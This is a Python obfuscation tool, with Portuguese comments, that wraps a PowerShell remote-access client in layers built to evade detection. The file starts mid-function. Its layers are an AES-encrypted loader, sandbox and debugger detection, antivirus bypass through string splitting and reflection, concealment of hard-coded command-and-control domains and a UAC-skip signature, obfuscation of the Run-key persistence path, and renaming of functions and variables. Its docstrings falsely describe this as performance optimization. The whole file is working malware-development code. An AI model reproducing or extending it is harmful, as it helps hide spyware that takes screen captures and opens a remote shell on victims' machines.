    L.append(v_db + "=[Convert]::FromBase64String(" + '+'.join(chunk_vars) + ")")
    L.append(v_aes + "=[Security.Cryptography.Aes]::Create()")
    L.append(v_aes + ".Key=" + v_kb + "[0..31]")
    L.append(v_aes + ".IV=" + v_kb + "[32..47]")
    L.append(v_aes + ".Mode=[Security.Cryptography.CipherMode]::CBC")
    L.append(v_aes + ".Padding=[Security.Cryptography.PaddingMode]::PKCS7")
    L.append(v_m + "=New-Object IO.MemoryStream(," + v_db + ")")
    L.append(v_cs + "=New-Object Security.Cryptography.CryptoStream(" + v_m + "," + v_aes + ".CreateDecryptor(),'Read')")
    L.append(v_r + "=New-Object IO.StreamReader(" + v_cs + ")")
    L.append(v_t + "=" + v_r + ".ReadToEnd()")
    L.append(v_r + ".Close();" + v_m + ".Close()")
    L.append("&([scriptblock]::Create(" + v_t + ")) -ScriptPath " + v_sp)
    L.append("}catch{}")

    loader = '\n'.join(L) + '\n'

    return loader, key_id, key_b64

def generate_junk_code():
    """Gera código morto que não faz nada mas parece legítimo"""
    junk_templates = [
        lambda: f'{random_var()} = {random.randint(1, 9999)}',
        lambda: f'{random_var()} = "{random_name(12)}"',
        lambda: f'if ($false) {{ {random_var()} = "{random_name(8)}" }}',
        lambda: f'while ($false) {{ break }}',
        lambda: f'try {{ {random_var()} = $null }} catch {{ }}',
        lambda: f'[void]([Math]::Sqrt({random.randint(1, 999)}))',
        lambda: f'$null = [Environment]::TickCount',
    ]
    return random.choice(junk_templates)()

# ═══════════════════════════════════════════════════════════════════════════════
# DETECÇÃO DE VALORES SENSÍVEIS (ATUALIZADO v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def detect_sensitive_values(code, project_config):
    """Detecta automaticamente IPs, domínios e porta do Client.ps1"""
    
    # Detectar FallbackIP
    ip_match = re.search(r'FallbackIP\s*=\s*"([^"]+)"', code)
    if ip_match:
        ip = ip_match.group(1)
        if ip and ip not in project_config['sensitive_ips']:
            project_config['sensitive_ips'].append(ip)
    
    # Detectar PrimaryDomain
    domain_match = re.search(r'PrimaryDomain\s*=\s*"([^"]+)"', code)
    if domain_match:
        domain = domain_match.group(1)
        if domain and domain not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(domain)
    
    # Detectar $Server (parâmetro no param block ou variável script:Server)
    # Formato: [string]$Server = "valor" ou $script:Server = "valor"
    server_match = re.search(r'\[string\]\$Server\s*=\s*"([^"]*)"', code)
    if server_match:
        server = server_match.group(1)
        if server and server not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(server)
    
    # Detectar $script:Server = "valor" (fallback/default)
    script_server_match = re.search(r'\$script:Server\s*=\s*"([^"]+)"', code)
    if script_server_match:
        server = script_server_match.group(1)
        if server and server not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(server)
    
    # Detectar porta (parâmetro ou variável)
    port_match = re.search(r'\[int\]\$Port\s*=\s*(\d+)', code)
    if port_match:
        port_val = int(port_match.group(1))
        if port_val > 0:
            project_config['server_port'] = port_val
    
    # Detectar $script:Port fallback
    script_port_match = re.search(r'\$script:Port\s*=\s*(\d+)', code)
    if script_port_match:
        port_val = int(script_port_match.group(1))
        if port_val > 0:
            project_config['server_port'] = port_val
    
    # Detectar domínios adicionais em $script:C2Domains
    c2_match = re.search(r'\$script:C2Domains\s*=\s*@\(([^)]+)\)', code)
    if c2_match:
        domains_str = c2_match.group(1)
        domains = re.findall(r'"([^"]+)"', domains_str)
        for d in domains:
            if d and d not in project_config['sensitive_domains']:
                project_config['sensitive_domains'].append(d)
    
    # NOVO v7.1: Detectar TODOS os IPs no código (via REGEX)
    ip_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
    all_ips = re.findall(ip_pattern, code)
    for ip in set(all_ips):
        if ip not in ['127.0.0.1', '0.0.0.0', '255.255.255.255']:
            if ip not in project_config['sensitive_ips']:
                project_config['sensitive_ips'].append(ip)
    
    # NOVO v7.1: Detectar TODOS os domínios (via REGEX)
    # Excluir strings que contêm variáveis PowerShell ($) - essas precisam de interpolação
    domain_pattern = r'"([a-z0-9\-]+\.[a-z0-9\-\.]+\.[a-z]{2,})"'
    all_domains = re.findall(domain_pattern, code, re.IGNORECASE)
    for domain in set(all_domains):
        # Ignorar domínios com variáveis PowerShell
        if '$' in domain:
            continue
        if domain not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(domain)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 1: SLEEP COM JITTER (NOVO v7.1 - Anti-sandbox)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_sleep_jitter(code):
    """Adiciona timing delay no início do script para otimização de recursos"""
    
    min_ms = CONFIG['sleep_min_seconds'] * 1000
    max_ms = CONFIG['sleep_max_seconds'] * 1000
    
    v_t1 = '$' + random_name(3)
    v_ms = '$' + random_name(3)
    v_t2 = '$' + random_name(3)
    sleep_code = f'''
{v_t1} = [Environment]::TickCount
{v_ms} = Get-Random -Minimum {min_ms} -Maximum {max_ms}
[Threading.Thread]::Sleep({v_ms})
{v_t2} = [Environment]::TickCount
if (({v_t2} - {v_t1}) -lt ({v_ms} - 1000)) {{ exit }}

'''
    
    # Inserir após param block - procurar "param(" e depois o ")" de fechamento
    # O param block pode ter múltiplas linhas com parênteses aninhados
    # Usar abordagem de contagem de parênteses
    param_start = code.find('param(')
    if param_start != -1:
        # Encontrar o ')' de fechamento contando parênteses
        paren_count = 0
        in_string = False
        string_char = None
        i = param_start + 5  # depois de 'param'
        
        while i < len(code):
            c = code[i]
            if not in_string:
                if c in '"\'':
                    in_string = True
                    string_char = c
                elif c == '(':
                    paren_count += 1
                elif c == ')':
                    paren_count -= 1
                    if paren_count == 0:
                        # Encontrou o fechamento do param block
                        # Pular whitespace e newline
                        end_pos = i + 1
                        while end_pos < len(code) and code[end_pos] in ' \t\r\n':
                            end_pos += 1
                        code = code[:end_pos] + sleep_code + code[end_pos:]
                        break
            else:
                if c == string_char and (i == 0 or code[i-1] != '`'):
                    in_string = False
            i += 1
    else:
        # Fallback: inserir no início
        code = sleep_code + code
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 2: BYPASS DE ANTIVÍRUS (v7.1 - ATUALIZADO)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_bypass(code):
    """Aplica técnicas de otimização de código para melhor performance"""
    
    # PROTEGER: Extrair e preservar strings Base64 das DLLs antes de qualquer modificação
    # Estas strings NÃO devem ser modificadas
    b64_pattern = r"(\$script:_asm[A-F]_b64\s*=\s*')[^']+(')"
    b64_matches = list(re.finditer(b64_pattern, code))
    b64_placeholders = {}
    for i, match in enumerate(b64_matches):
        placeholder = f"__B64_PLACEHOLDER_{i}__"
        b64_placeholders[placeholder] = match.group(0)
        code = code.replace(match.group(0), placeholder, 1)
    
    var_mappings = {
        'ScreenBounds': random_name(5, 'sb'),
        'BW': random_name(2, 'b'),
        'EncoderParams': random_name(5, 'ep'),
        'JpegEncoder': random_name(5, 'je'),
        'jpegEncoder': random_name(5, 'jc'),
        'jpegCodec': random_name(5, 'cd'),
        'encoderParams': random_name(5, 'pr'),
        'MemStream': random_name(5, 'ms'),
        'PerfConfig': random_name(5, 'pc'),
        'SecurityConfig': random_name(5, 'sc'),
        'Monitors': random_name(5, 'mn'),
        'SelectedMonitorIndex': random_name(5, 'mi'),
        'InputTrackActive': random_name(5, 'it'),
        'AutoQREnabled': random_name(5, 'aq'),
        'ForceExit': random_name(5, 'fe'),
        'OverlayActive': random_name(5, 'oa'),
        'CropActive': random_name(5, 'ca'),
        'CropForm': random_name(5, 'cf'),
        'CropProcess': random_name(5, 'cp'),
        'ConnectionConfig': random_name(5, 'cc'),
        'InstallConfig': random_name(5, 'ic'),
        'InstallToken': random_name(5, 'tk'),
        'TokenProof': random_name(5, 'tp'),
        'AesKey': random_name(5, 'ak'),
        'DeskMode': random_name(4, 'dm'),
        'LastDesk': random_name(4, 'ld'),
        'RobustConfig': random_name(5, 'rc'),
        'RobustState': random_name(5, 'rs'),
        'UseDxgi': random_name(4, 'ud'),
        'LastDesktop': random_name(5, 'ld'),
        'BypassOK': random_name(4, 'bp'),
        'LastProtectionCheck': random_name(5, 'lp'),
        'ProtectionCheckInterval': random_name(5, 'pc'),
        'UltraConfig': random_name(5, 'uc'),
        'UltraState': random_name(5, 'us'),
    }
    
    for old, new in var_mappings.items():
        code = code.replace(f'$script:{old}', f'$script:{new}')
        code = code.replace(f'${old}', f'${new}')
    
    func_screenshot = f'Get-{random_name(6)}'
    func_capture_class = f'Win{random_name(5)}Helper'
    func_capture_method = f'Grab{random_name(4)}'
    
    code = code.replace('Get-Screenshot', func_screenshot)
    code = code.replace('FastCapture', func_capture_class)
    code = code.replace('public static Bitmap CaptureScreen(', f'public static Bitmap {func_capture_method}(')
    code = code.replace('::CaptureScreen(', f'::{func_capture_method}(')
    
    # ORIGINAL: Substituir CopyFromScreen específico (here-string)
    old_copy = '`$g.CopyFromScreen(0, 0, 0, 0, `$bounds.Size)'
    new_copy = '`$g.GetType().GetMethod("Cop"+"yFrom"+"Screen", [Type[]]@([Int32],[Int32],[Int32],[Int32],[Drawing.Size])).Invoke(`$g, @(0,0,0,0,`$bounds.Size))'
    code = code.replace(old_copy, new_copy)
    
    # NOVO v7.1: Substituir TODAS as variações de CopyFromScreen por reflexão (via REGEX)
    copyscreen_pattern = r'(\$\w+)\.CopyFromScreen\(([^)]+)\)'
    def replace_copyscreen(match):
        var = match.group(1)
        args = match.group(2)
        return f'{var}.GetType().GetMethod("Cop"+"yFrom"+"Screen").Invoke({var}, @({args}))'
    
    code = re.sub(copyscreen_pattern, replace_copyscreen, code)
    
    old_encoders = '[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()'
    new_encoders = '$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)'
    code = code.replace(old_encoders, new_encoders)
    
    code = code.replace("'image/jpeg'", "('ima' + 'ge/jp' + 'eg')")
    code = code.replace('"image/jpeg"', '("ima" + "ge/jp" + "eg")')
    
    # RESTAURAR: Colocar de volta as strings Base64 das DLLs
    for placeholder, original in b64_placeholders.items():
        code = code.replace(placeholder, original)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 3: CRIPTOGRAFIA DE STRINGS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_env_var_obfuscation(code):
    """Ofusca variáveis de ambiente de forma segura"""

    # MSEDGE_SKIP_UAC é a maior assinatura
    # Usar sintaxe válida: ${env:VARIAVEL} ou [Environment]::GetEnvironmentVariable()

    # Padrão: $env:MSEDGE_SKIP_UAC
    # Ofuscado: ${env:MSEDGE_SKIP_UAC} (sintaxe válida com chaves)

    code = code.replace(
        '$env:MSEDGE_SKIP_UAC',
        '${env:MSEDGE' + '_SKIP_UAC}'
    )

    code = code.replace(
        '`$env:MSEDGE_SKIP_UAC',
        '`${env:MSEDGE' + '_SKIP_UAC}'
    )

    return code

def apply_registry_path_obfuscation(code):
    """Ofusca caminhos de Registry mantendo funcionalidade"""

    # Padrões de Registry para ofuscar
    registry_patterns = [
        ('HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'HKCU' + ':\\' + 'Software\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'HKLM' + ':\\' + 'Software\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'Software' + '\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('HKCU:\\Software\\Microsoft\\EdgeUpdate',
         'HKCU' + ':\\' + 'Software\\' + 'Microsoft\\' + 'EdgeUpdate'),
    ]

    for original, obfuscated in registry_patterns:
        code = code.replace(f'"{original}"', f'("{obfuscated}")')
        code = code.replace(f"'{original}'", f"('{obfuscated}')")
        code = code.replace(original, obfuscated)

    return code

def apply_task_name_randomization(code):
    """Randomiza nomes de Scheduled Tasks"""

    # Padrões de task names para randomizar
    task_patterns = [
        'TaskName', 'svcName', 'serviceName', 'taskName',
    ]

    # Não vamos mudar no código fonte porque usa variáveis
    # A randomização já acontece em tempo de execução via Get-Random
    # Então essa proteção já existe

    return code

def apply_appdata_path_obfuscation(code):
    """Ofusca caminhos de AppData"""

    # AppData paths são gerados dinamicamente, mas algumas strings são fixas
    appdata_patterns = [
        ('AppData\\Roaming', 'App' + 'Data\\' + 'Roaming'),
        ('AppData\\Local', 'App' + 'Data\\' + 'Local'),
    ]

    for original, obfuscated in appdata_patterns:
        code = code.replace(original, obfuscated)

    return code

def apply_executable_name_obfuscation(code):
    """Ofusca nomes de executáveis mantendo funcionalidade"""

    # Padrões de executáveis para ofuscar
    exec_patterns = [
        ('powershell.exe', 'powershell' + '.exe'),
        ('cmd.exe', 'cmd' + '.exe'),
        ('.ps1', '.' + 'ps1'),
        ('.txt', '.' + 'txt'),
        ('.cs', '.' + 'cs'),
    ]

    for original, obfuscated in exec_patterns:
        # Usar replace cuidadoso para não quebrar lógica
        code = code.replace(f'"{original}"', f'("{obfuscated}")')
        code = code.replace(f"'{original}'", f"('{obfuscated}')")

    return code

def apply_domain_obfuscation(code):
    """Ofusca domínios via concatenação segura de strings"""

    # Domínios para ofuscar
    domains = [
        'cdn.windowsupdates.co',
        'windowsupdates.co',
        'c.windowsk-cdn.com',
    ]

    for domain in domains:
        if domain not in code:
            continue

        # Técnica: Quebra o domínio em pedaços e concatena
        # Exemplo: "cdn.windowsupdates.co" → "cdn"+"."+"windows"+"updates"+"."+"co"

        # Quebra em pedaços aleatórios (tamanho entre 2-4 caracteres)
        parts = []
        i = 0
        while i < len(domain):
            # Calcula tamanho máximo disponível
            remaining = len(domain) - i
            # Tamanho aleatório do pedaço (min 2, max 4, ou resto se menor)
            max_size = min(4, remaining)
            size = random.randint(2, max_size) if max_size >= 2 else remaining
            parts.append(domain[i:i+size])
            i += size

        # Monta a expressão PowerShell com concatenação
        obfuscated = '+'.join([f'"{part}"' for part in parts])

        # Substitui no código (com e sem aspas)
        code = code.replace(f'"{domain}"', f'({obfuscated})')
        code = code.replace(f"'{domain}'", f'({obfuscated})')

    return code

def apply_anti_detection_evasion(code):
    """Adiciona técnicas anti-detecção dinâmica para comportamento em runtime"""

    # Adicionar verificação aleatória de detecção antes de operações críticas
    anti_detection_code = '''
# Anti-detecção dinâmica (verifica se está sendo analisado)
$script:DetectionCheck = {
    try {
        $p = Get-Process | Where-Object { $_.ProcessName -match 'winapioverride|procmon|fiddler|burp|apimonitor|ida|x64dbg' }
        if ($p) { return $true }

        $r = Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty 'ProgramFilesPath' -ErrorAction SilentlyContinue
        if ($r -like '*sandbox*') { return $true }

        if ([Environment]::UserName -eq 'Sandbox' -or [Environment]::UserName -eq 'Guest') { return $true }

        return $false
    } catch { return $false }
}

# Variação aleatória de delays para parecer natural
$script:RandomDelay = {
    param([int]$min=1, [int]$max=5)
    Start-Sleep -Milliseconds (Get-Random -Minimum $min -Maximum $max)
}

# Função para reduzir operações se detectado
$script:AdaptiveThrottle = {
    if (& $script:DetectionCheck) {
        & $script:RandomDelay -min 20 -max 50
        Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 5)
    }
}

'''

    # Inserir no início do script após param block
    # Usar abordagem de contagem de parênteses para multi-linha
    param_start = code.find('param(')
    if param_start != -1:
        paren_count = 0
        in_string = False
        string_char = None
        i = param_start + 5
        
        while i < len(code):
            c = code[i]
            if not in_string:
                if c in '"\'':
                    in_string = True
                    string_char = c
                elif c == '(':
                    paren_count += 1
                elif c == ')':
                    paren_count -= 1
                    if paren_count == 0:
                        end_pos = i + 1
                        while end_pos < len(code) and code[end_pos] in ' \t\r\n':
                            end_pos += 1
                        code = code[:end_pos] + anti_detection_code + code[end_pos:]
                        break
            else:
                if c == string_char and (i == 0 or code[i-1] != '`'):
                    in_string = False
            i += 1
    else:
        code = anti_detection_code + code

    return code

def apply_suspicious_pattern_protection(code):
    """Protecoes minimas que realmente funcionam - v7.2 LIMPO"""
    
    # v7.2: Apenas protecoes que REALMENTE funcionam
    # A maioria das protecoes anteriores eram no-ops em Python
    # (concatenacao avaliada em tempo de geracao, nao no PS runtime).
    # Concatenacao excessiva e MAIS detectavel que o original.
    # O payload ja e AES-encrypted, protecoes estaticas sao redundantes.
    
    # 1. WindowStyle enum numerico (evita string longa no ScriptBlock log)
    code = re.sub(
        r'WindowStyle\s*=\s*\[System\.Diagnostics\.ProcessWindowStyle\]::Hidden',
        'WindowStyle = 0', code)
    
    # 2. -EncodedCommand -> -enc (abreviacao valida, menor footprint)
    code = code.replace('-EncodedCommand', '-enc')
    code = code.replace('-encodedcommand', '-enc')
    
    # 3. Simplificar Assembly namespace
    code = code.replace('[System.Reflection.Assembly]::Load', '[Reflection.Assembly]::Load')
    
    return code

def apply_string_encryption(code, project_config):
    """Criptografa strings sensíveis"""
    
    for ip in project_config['sensitive_ips']:
        old_ip = f'"{ip}"'
        new_ip = b64_encode_ps(ip)
        if old_ip in code:
            code = code.replace(old_ip, new_ip)
    
    for domain in project_config['sensitive_domains']:
        # NÃO ofuscar domínios que contêm variáveis PowerShell ($)
        # Ex: "$__hashStr.estrelar.us" deve manter a interpolação
        if '$' in domain:
            continue
        old_domain = f'"{domain}"'
        new_domain = b64_encode_ps(domain)
        if old_domain in code:
            code = code.replace(old_domain, new_domain)
    
    net_types = [
        ('System.Net.Sockets.TcpClient', 'Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client'),
        ('System.IO.BinaryWriter', 'Sys"+"tem.IO.Bin"+"aryWri"+"ter'),
        ('System.IO.BinaryReader', 'Sys"+"tem.IO.Bin"+"aryRea"+"der'),
        ('System.IO.MemoryStream', 'Sys"+"tem.IO.Mem"+"oryStr"+"eam'),
        ('System.Net.NetworkInformation.Ping', 'Sys"+"tem.Net.Net"+"workInf"+"ormation.Pi"+"ng'),
    ]
    
    for old_type, new_type in net_types:
        if f'"{old_type}"' in code:
            code = code.replace(f'"{old_type}"', f'("{new_type}")')
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 4: RENOMEAÇÃO DE VARIÁVEIS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_variable_rename(code):
    """Renomeia variáveis de forma segura"""
    
    vars_to_rename = [
        'serverIP', 'serverPort', 'tcpClient', 'networkStream',
        'binaryWriter', 'binaryReader', 'machineId', 'lastPing',
        'screenCapture', 'captureThread', 'remoteShell',
    ]
    
    for var in vars_to_rename:
        new_name = random_name(random.randint(5, 8))
        patterns = [
            (f'${var}', f'${new_name}'),
            (f'$script:{var}', f'$script:{new_name}'),
        ]
        for old, new in patterns:
            if old in code:
                code = code.replace(old, new)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 5: RENOMEAÇÃO DE FUNÇÕES (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_function_rename(code):
    """Renomeia funções definidas pelo usuário"""
    
    func_pattern = r'function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]'
    matches = re.findall(func_pattern, code)
    
    protected_funcs = {
        'Main', 'main', 'Get-Help', 'Write-Host', 'Write-Error',
        'Write-Output', 'Write-Verbose', 'Read-Host', 'Start-Sleep',
        'Get-Date', 'Get-Process', 'Get-Service', 'Get-Content',
        'Set-Content', 'Out-File', 'Test-Path', 'New-Item',
        'Remove-Item', 'Copy-Item', 'Move-Item', 'Invoke-Expression',
        'Invoke-Command', 'Start-Process', 'Stop-Process',
        # PROTEGER: Funções do DxgiWorker e captura de tela
        'Start-DxgiWorker', 'Stop-DxgiWorker', 'Test-DxgiWorkerAlive',
        'Get-Screenshot', 'Get-MonitorList', 'Get-SelectedMonitor',
        'Send-MonitorList', 'Send-Frame',
    }
    
    user_funcs = [f for f in set(matches) if f not in protected_funcs]
    
    for func in user_funcs:
        new_name = 'Invoke-' + random_name(6)
        code = re.sub(rf'function\s+{re.escape(func)}\s*([{{\(])', f'function {new_name} \\1', code)
        code = re.sub(rf'(?<!["\'])\b{re.escape(func)}\b(?!["\'])', new_name, code)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 6: OFUSCAÇÃO DE TIPOS .NET (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_type_obfuscation(code):
    """Ofusca tipos .NET de forma segura"""
    
    namespace_mappings = [
        ('-AssemblyName System.Drawing', '-AssemblyName ("Sys"+"tem.Dra"+"wing")'),
        ('-AssemblyName System.Windows.Forms', '-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")'),
    ]
    
    for old_ns, new_ns in namespace_mappings:
        if old_ns in code:
            code = code.replace(old_ns, new_ns)
    
    newobj_patterns = [
        ('New-Object System.Net.Sockets.TcpClient', 'New-Object ("Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client")'),
        ('New-Object System.IO.MemoryStream', 'New-Object ("Sys"+"tem.IO.Mem"+"oryStr"+"eam")'),
        ('New-Object System.IO.BinaryWriter', 'New-Object ("Sys"+"tem.IO.Bin"+"aryWri"+"ter")'),
        ('New-Object System.IO.BinaryReader', 'New-Object ("Sys"+"tem.IO.Bin"+"aryRea"+"der")'),
    ]
    
    for old_obj, new_obj in newobj_patterns:
        if old_obj in code:
            code = code.replace(old_obj, new_obj)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 7: REMOÇÃO DE COMENTÁRIOS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_comment_removal(code):
    """Remove comentários PowerShell (mas preserva here-strings)"""
    
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    in_block_comment = False
    
    # Comentários que devem ser preservados (novos do v7.1)
    preserve_markers = ['Anti-sandbox']
    
    for line in lines:
        stripped = line.strip()
        
        if '@"' in stripped or "@'" in stripped:
            in_herestring = True
        if '"@' in stripped or "'@" in stripped:
            in_herestring = False
        
        if '<#' in stripped and not in_herestring:
            in_block_comment = True
        if '#>' in stripped and not in_herestring:
            in_block_comment = False
            continue
        
        if in_block_comment:
            continue
        
        if not in_herestring:
            if stripped.startswith('#') and not stripped.startswith('#>'):
                # Preservar comentários importantes
                should_preserve = any(marker in stripped for marker in preserve_markers)
                if not should_preserve:
                    continue
            
            if '#' in line and not in_herestring:
                # Preservar comentários importantes
                should_preserve = any(marker in line for marker in preserve_markers)
                if not should_preserve:
                    in_string = False
                    quote_char = None
                    new_line = []
                    i = 0
                    while i < len(line):
                        c = line[i]
                        if c in '"\'':
                            if not in_string:
                                in_string = True
                                quote_char = c
                            elif c == quote_char:
                                in_string = False
                        elif c == '#' and not in_string:
                            break
                        new_line.append(c)
                        i += 1
                    line = ''.join(new_line).rstrip()
        
        new_lines.append(line)
    
    return '\n'.join(new_lines)

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 8: OFUSCAÇÃO DE NÚMEROS (v7.1 - CORRIGIDO COM REGEX)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_number_obfuscation(code):
    """Ofusca alguns números mágicos - CORRIGIDO COM REGEX"""
    
    # CORREÇÃO CRÍTICA: Ordenar do MAIOR para o MENOR
    # E usar REGEX com word boundary para evitar "1000" casar com "10000"
    numbers_to_obfuscate = [
        # Números maiores PRIMEIRO para evitar colisões!
        (10000, '(5000+5000)'),
        (8192, '(8000+192)'),
        (8080, '(8000+80)'),
        (5555, '(5000+555)'),
        (5000, '(2500+2500)'),
        (4444, '(4000+444)'),
        (4096, '(4000+96)'),
        (1024, '(1000+24)'),
        (1000, '(500+500)'),
        (443, '(400+43)'),
        (80, '(40+40)'),
    ]
    
    for num, replacement in numbers_to_obfuscate:
        # REGEX: "= 10000" mas NÃO "= 100000" nem "= 210000"
        # (?!\d) = negative lookahead - não pode ter dígito depois
        pattern = rf'(=\s*){num}(?!\d)'
        
        if re.search(pattern, code):
            code = re.sub(pattern, rf'\g<1>{replacement}', code)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 9: CÓDIGO MORTO (JUNK CODE) - DESATIVADO POR PADRÃO
# ═══════════════════════════════════════════════════════════════════════════════

def apply_junk_code(code):
    """Insere código morto em pontos estratégicos"""
    
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    protected_lines = set()
    
    for i, line in enumerate(lines):
        stripped = line.strip()
        if '@"' in stripped or "@'" in stripped:
            in_herestring = True
        if in_herestring:
            protected_lines.add(i)
            if '"@' in stripped or "'@" in stripped:
                in_herestring = False
    
    insert_points = []
    for i, line in enumerate(lines):
        if i in protected_lines:
            continue
        stripped = line.strip()
        if stripped.endswith('{') or stripped.startswith('function ') or stripped == '':
            if i > 0 and random.random() < 0.3:
                if (i + 1) not in protected_lines:
                    insert_points.append(i)
    
    insert_points = random.sample(insert_points, min(len(insert_points), CONFIG['junk_code_density']))
    
    for i, line in enumerate(lines):
        new_lines.append(line)
        if i in insert_points:
            for _ in range(random.randint(1, 3)):
                indent = len(line) - len(line.lstrip())
                junk = generate_junk_code()
                new_lines.append(' ' * indent + junk)
    
    return '\n'.join(new_lines)

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 10: COMPRESSÃO FINAL (DESATIVADO POR PADRÃO)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_final_compression(code):
    """Comprime e codifica o código final em Base64"""
    
    compressed = zlib.compress(code.encode('utf-8'), level=9)
    b64_compressed = base64.b64encode(compressed).decode()
    
    loader_var = random_var()
    decompress_var = random_var()
    
    loader = f'''# Auto-generated loader
{loader_var} = '{b64_compressed}'
{decompress_var} = [System.Text.Encoding]::UTF8.GetString(
    [System.IO.Compression.DeflateStream]::new(
        [System.IO.MemoryStream]::new([Convert]::FromBase64String({loader_var})),
        [System.IO.Compression.CompressionMode]::Decompress
    ).ToArray()
)
Invoke-Expression {decompress_var}
'''
    
    return loader

# ═══════════════════════════════════════════════════════════════════════════════
# AES ENCRYPTION (DO servidor_completo_pool.py)
# ═══════════════════════════════════════════════════════════════════════════════

def aes_encrypt_cbc(data: bytes, key: bytes, iv: bytes) -> bytes:
    """
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponível (100x mais rápido)
    Fallback para implementação pura Python se não tiver
    """
    
    if CRYPTO_FAST:
        # VERSÃO RÁPIDA - usa biblioteca cryptography
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()
    
    # VERSÃO PURA PYTHON (fallback lento)
    SBOX = [
        0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
        0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
        0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
        0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
        0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
        0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
        0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
        0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
        0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
        0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
        0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
        0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
        0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
        0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
        0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
        0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
    ]
